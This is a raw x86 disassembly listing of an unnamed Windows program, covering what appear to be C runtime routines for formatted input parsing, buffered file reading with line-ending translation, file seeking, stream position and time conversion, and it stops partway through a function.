loc_41B5A8:				; CODE XREF: sub_41AD3D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5EC
		cmp	esi, 70h
		jz	short loc_41B5EC
		cmp	dword_437F7C, 1
		jle	short loc_41B5C7
		push	4
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B5D2
; ---------------------------------------------------------------------------


loc_41B5C7:				; CODE XREF: sub_41AD3D+87Cj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B5D2:				; CODE XREF: sub_41AD3D+888j
		test	eax, eax
		jz	short loc_41B64C
		cmp	esi, 6Fh
		jnz	short loc_41B5E5
		cmp	ebx, 38h
		jge	short loc_41B64C
		shl	edi, 3
		jmp	short loc_41B624
; ---------------------------------------------------------------------------


loc_41B5E5:				; CODE XREF: sub_41AD3D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B624
; ---------------------------------------------------------------------------


loc_41B5EC:				; CODE XREF: sub_41AD3D+86Ej
					; sub_41AD3D+873j
		cmp	dword_437F7C, 1
		jle	short loc_41B604
		push	80h
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B611
; ---------------------------------------------------------------------------


loc_41B604:				; CODE XREF: sub_41AD3D+8B6j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B611:				; CODE XREF: sub_41AD3D+8C5j
		test	eax, eax
		jz	short loc_41B64C
		push	ebx
		shl	edi, 4
		call	sub_41B762
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B624:				; CODE XREF: sub_41AD3D+8A6j
					; sub_41AD3D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B636
		dec	[ebp+var_C]
		jz	short loc_41B65A


loc_41B636:				; CODE XREF: sub_41AD3D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B5A8
; ---------------------------------------------------------------------------


loc_41B64C:				; CODE XREF: sub_41AD3D+897j
					; sub_41AD3D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B7B3
		pop	ecx
		pop	ecx


loc_41B65A:				; CODE XREF: sub_41AD3D+865j
					; sub_41AD3D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B662
		neg	edi


loc_41B662:				; CODE XREF: sub_41AD3D+843j
					; sub_41AD3D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B66B
		and	[ebp+var_1C], 0


loc_41B66B:				; CODE XREF: sub_41AD3D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B743
		cmp	[ebp+var_E], 0
		jnz	short loc_41B6A4
		inc	[ebp+var_34]


loc_41B67E:				; CODE XREF: sub_41AD3D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B694
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B694:				; CODE XREF: sub_41AD3D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B6A1
		mov	[eax], edi
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B6A1:				; CODE XREF: sub_41AD3D+95Ej
		mov	[eax], di


loc_41B6A4:				; CODE XREF: sub_41AD3D+241j
					; sub_41AD3D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6F1
; ---------------------------------------------------------------------------


loc_41B6AF:				; CODE XREF: sub_41AD3D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B71E
		mov	ecx, off_437D70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6F1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B799
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B72C
		dec	[ebp+var_4]


loc_41B6F1:				; CODE XREF: sub_41AD3D+970j
					; sub_41AD3D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B707
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B749
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B749
		mov	esi, eax


loc_41B707:				; CODE XREF: sub_41AD3D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD67
		jmp	short loc_41B743
; ---------------------------------------------------------------------------


loc_41B713:				; CODE XREF: sub_41AD3D+1F4j
					; sub_41AD3D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B71E:				; CODE XREF: sub_41AD3D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B723:				; CODE XREF: sub_41AD3D+9DFj
		call	sub_41B7B3
		pop	ecx
		pop	ecx
		jmp	short loc_41B743
; ---------------------------------------------------------------------------


loc_41B72C:				; CODE XREF: sub_41AD3D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7B3
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B7B3
		add	esp, 10h


loc_41B743:				; CODE XREF: sub_41AD3D+1Fj
					; sub_41AD3D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B75A


loc_41B749:				; CODE XREF: sub_41AD3D+9BDj
					; sub_41AD3D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B75D
		cmp	[ebp+var_15], al
		jnz	short loc_41B75D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B75D
; ---------------------------------------------------------------------------


loc_41B75A:				; CODE XREF: sub_41AD3D+A0Aj
		mov	eax, [ebp+var_34]


loc_41B75D:				; CODE XREF: sub_41AD3D+A11j
					; sub_41AD3D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B762	proc near		; CODE XREF: sub_41AD3D+7A3p
					; sub_41AD3D+8DCp

arg_0		= dword	ptr  4

		cmp	dword_437F7C, 1
		push	esi
		jle	short loc_41B77C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41B78B
; ---------------------------------------------------------------------------


loc_41B77C:				; CODE XREF: sub_41B762+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_437D70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B78B:				; CODE XREF: sub_41B762+18j
		test	eax, eax
		jnz	short loc_41B795
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B795:				; CODE XREF: sub_41B762+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B762	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B799	proc near		; CODE XREF: sub_41AD3D+1E1p
					; sub_41AD3D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B7AB
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B7AB:				; CODE XREF: sub_41B799+7j
		push	edx
		call	sub_41B8B0
		pop	ecx
		retn
sub_41B799	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B3	proc near		; CODE XREF: sub_41AD3D+6Bp
					; sub_41AD3D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7C9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0DF
		pop	ecx
		pop	ecx

locret_41B7C9:				; CODE XREF: sub_41B7B3+5j
		retn
sub_41B7B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7CA	proc near		; CODE XREF: sub_41AD3D+63p
					; sub_41AD3D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B7D0:				; CODE XREF: sub_41B7CA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B799
		mov	edi, eax
		push	edi
		call	sub_41E095
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7D0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7EE	proc near		; CODE XREF: sub_416AD4+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B8AA
		cmp	ebx, 8Ah
		jg	loc_41B8AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_438804[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B82D
		cmp	edi, 2
		jle	short loc_41B82D
		inc	esi


loc_41B82D:				; CODE XREF: sub_41B7EE+37j
					; sub_41B7EE+3Cj
		call	sub_41E14D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_438720
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B8A0
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B8A6
		cmp	dword_438724, 0
		jz	short loc_41B8A6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3C0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B8A6


loc_41B8A0:				; CODE XREF: sub_41B7EE+90j
		add	ecx, dword_438728


loc_41B8A6:				; CODE XREF: sub_41B7EE+96j
					; sub_41B7EE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B8AD
; ---------------------------------------------------------------------------


loc_41B8AA:				; CODE XREF: sub_41B7EE+13j
					; sub_41B7EE+1Fj
		or	eax, 0FFFFFFFFh


loc_41B8AD:				; CODE XREF: sub_41B7EE+BAj
		pop	ebx
		leave
		retn
sub_41B7EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8B0	proc near		; CODE XREF: sub_416BB0+A9p
					; sub_41713C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B984
		test	al, 40h
		jnz	loc_41B984
		test	al, 2
		jz	short loc_41B8D6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B984
; ---------------------------------------------------------------------------


loc_41B8D6:				; CODE XREF: sub_41B8B0+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8EA
		push	esi
		call	sub_41D06C
		pop	ecx
		jmp	short loc_41B8EF
; ---------------------------------------------------------------------------


loc_41B8EA:				; CODE XREF: sub_41B8B0+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B8EF:				; CODE XREF: sub_41B8B0+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B973
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B973
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B948
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B931
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_46A7C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B936
; ---------------------------------------------------------------------------


loc_41B931:				; CODE XREF: sub_41B8B0+6Bj
		mov	edi, offset dword_4383D0


loc_41B936:				; CODE XREF: sub_41B8B0+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B948
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B948:				; CODE XREF: sub_41B8B0+62j
					; sub_41B8B0+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B965
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B965
		test	ch, 4
		jnz	short loc_41B965
		mov	dword ptr [esi+18h], 1000h


loc_41B965:				; CODE XREF: sub_41B8B0+9Fj
					; sub_41B8B0+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B8B0+55j
					; sub_41B8B0+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B984:				; CODE XREF: sub_41B8B0+Aj
					; sub_41B8B0+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B8B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B989	proc near		; CODE XREF: sub_416BB0+90p
					; sub_41B8B0+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_46A8C0
		jnb	loc_41BB66
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A7C0h[eax*4]
		mov	eax, dword_46A7C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB66
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA3E
		test	dl, 2
		jnz	short loc_41BA3E
		test	dl, 48h
		jz	short loc_41B9FE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9FE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B9FE:				; CODE XREF: sub_41B989+56j
					; sub_41B989+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BA51
		call	dword_421088	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA39
		mov	dword_469494, 9
		mov	dword_469498, ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------


loc_41BA39:				; CODE XREF: sub_41B989+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA45


loc_41BA3E:				; CODE XREF: sub_41B989+4Cj
					; sub_41B989+51j
		xor	eax, eax
		jmp	loc_41BB7A
; ---------------------------------------------------------------------------


loc_41BA45:				; CODE XREF: sub_41B989+B3j
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	loc_41BB77
; ---------------------------------------------------------------------------


loc_41BA51:				; CODE XREF: sub_41B989+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB61
		test	edx, edx
		jz	short loc_41BA76
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA76
		or	al, 4
		jmp	short loc_41BA78
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41B989+E2j
					; sub_41B989+E7j
		and	al, 0FBh


loc_41BA78:				; CODE XREF: sub_41B989+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB5B


loc_41BA90:				; CODE XREF: sub_41B989+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB4B
		cmp	al, 0Dh
		jz	short loc_41BAAC
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BAAC:				; CODE XREF: sub_41B989+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BACA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAC1
		add	[ebp+arg_8], 2
		jmp	short loc_41BB1F
; ---------------------------------------------------------------------------


loc_41BAC1:				; CODE XREF: sub_41B989+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BACA:				; CODE XREF: sub_41B989+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421068	; ReadFile
		test	eax, eax
		jnz	short loc_41BAF2
		call	dword_421088	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41BB39


loc_41BAF2:				; CODE XREF: sub_41B989+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB39
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BB14
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BB1F
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB14:				; CODE XREF: sub_41B989+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB24
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB24


loc_41BB1F:				; CODE XREF: sub_41B989+136j
					; sub_41B989+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------


loc_41BB24:				; CODE XREF: sub_41B989+18Ej
					; sub_41B989+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB3D


loc_41BB39:				; CODE XREF: sub_41B989+167j
					; sub_41B989+16Dj
		mov	byte ptr [edi],	0Dh


loc_41BB3C:				; CODE XREF: sub_41B989+199j
		inc	edi


loc_41BB3D:				; CODE XREF: sub_41B989+11Ej
					; sub_41B989+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA90
		jmp	short loc_41BB5B
; ---------------------------------------------------------------------------


loc_41BB4B:				; CODE XREF: sub_41B989+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB5B
		or	al, 2
		mov	[esi], al


loc_41BB5B:				; CODE XREF: sub_41B989+101j
					; sub_41B989+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41BB61:				; CODE XREF: sub_41B989+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB7A
; ---------------------------------------------------------------------------


loc_41BB66:				; CODE XREF: sub_41B989+12j
					; sub_41B989+39j
		and	dword_469498, 0
		mov	dword_469494, 9


loc_41BB77:				; CODE XREF: sub_41B989+ABj
					; sub_41B989+C3j
		or	eax, 0FFFFFFFFh


loc_41BB7A:				; CODE XREF: sub_41B989+B7j
					; sub_41B989+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B989	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB7F	proc near		; CODE XREF: sub_416E3E+67p
					; sub_417C37+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_46A8C0
		push	esi
		push	edi
		jnb	short loc_41BC01
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BC01
		push	eax
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBC3
		mov	dword_469494, 9
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------


loc_41BBC3:				; CODE XREF: sub_41BB7F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_4210AC	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBE3
		call	dword_421088	; RtlGetLastWin32Error
		jmp	short loc_41BBE5
; ---------------------------------------------------------------------------


loc_41BBE3:				; CODE XREF: sub_41BB7F+5Aj
		xor	eax, eax


loc_41BBE5:				; CODE XREF: sub_41BB7F+62j
		test	eax, eax
		jz	short loc_41BBF2
		push	eax
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41BC12
; ---------------------------------------------------------------------------


loc_41BBF2:				; CODE XREF: sub_41BB7F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BC15
; ---------------------------------------------------------------------------


loc_41BC01:				; CODE XREF: sub_41BB7F+Dj
					; sub_41BB7F+2Aj
		and	dword_469498, 0
		mov	dword_469494, 9


loc_41BC12:				; CODE XREF: sub_41BB7F+42j
					; sub_41BB7F+71j
		or	eax, 0FFFFFFFFh


loc_41BC15:				; CODE XREF: sub_41BB7F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC19	proc near		; CODE XREF: sub_416E3E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC35
		mov	[edi+4], ebx


loc_41BC35:				; CODE XREF: sub_41BC19+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BCA3
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC5A
		sub	eax, [edi+4]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BC5A:				; CODE XREF: sub_41BC19+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC94
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_46A7C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BCAB
		mov	edx, ecx


loc_41BC85:				; CODE XREF: sub_41BC19+79j
		cmp	edx, eax
		jnb	short loc_41BCAB
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC91
		inc	[ebp+var_8]


loc_41BC91:				; CODE XREF: sub_41BC19+73j
		inc	edx
		jmp	short loc_41BC85
; ---------------------------------------------------------------------------


loc_41BC94:				; CODE XREF: sub_41BC19+50j
		test	dl, 80h
		jnz	short loc_41BCAB
		mov	dword_469494, 16h


loc_41BCA3:				; CODE XREF: sub_41BC19+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BCAB:				; CODE XREF: sub_41BC19+68j
					; sub_41BC19+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCB9
		mov	eax, [ebp+var_8]
		jmp	loc_41BD6C
; ---------------------------------------------------------------------------


loc_41BCB9:				; CODE XREF: sub_41BC19+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD64
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCD2
		and	[ebp+var_8], edx
		jmp	loc_41BD64
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC19+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD5E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD25
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BD10:				; CODE XREF: sub_41BC19+104j
		cmp	eax, ecx
		jnb	short loc_41BD1F
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BD1C
		inc	[ebp+arg_0]


loc_41BD1C:				; CODE XREF: sub_41BC19+FEj
		inc	eax
		jmp	short loc_41BD10
; ---------------------------------------------------------------------------


loc_41BD1F:				; CODE XREF: sub_41BC19+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD59
; ---------------------------------------------------------------------------


loc_41BD25:				; CODE XREF: sub_41BC19+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB7F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD4C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD4C
		test	ch, 4
		jz	short loc_41BD4F


loc_41BD4C:				; CODE XREF: sub_41BC19+124j
					; sub_41BC19+12Cj
		mov	eax, [edi+18h]


loc_41BD4F:				; CODE XREF: sub_41BC19+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BD59:				; CODE XREF: sub_41BC19+10Aj
		jz	short loc_41BD5E
		inc	[ebp+arg_0]


loc_41BD5E:				; CODE XREF: sub_41BC19+D9j
					; sub_41BC19:loc_41BD59j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BD64:				; CODE XREF: sub_41BC19+A4j
					; sub_41BC19+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BD6C:				; CODE XREF: sub_41BC19+3Cj
					; sub_41BC19+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BC19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD71	proc near		; CODE XREF: sub_417193+A3p
					; sub_41AC71+A5p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_46951C, edi
		jnz	short loc_41BDE7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
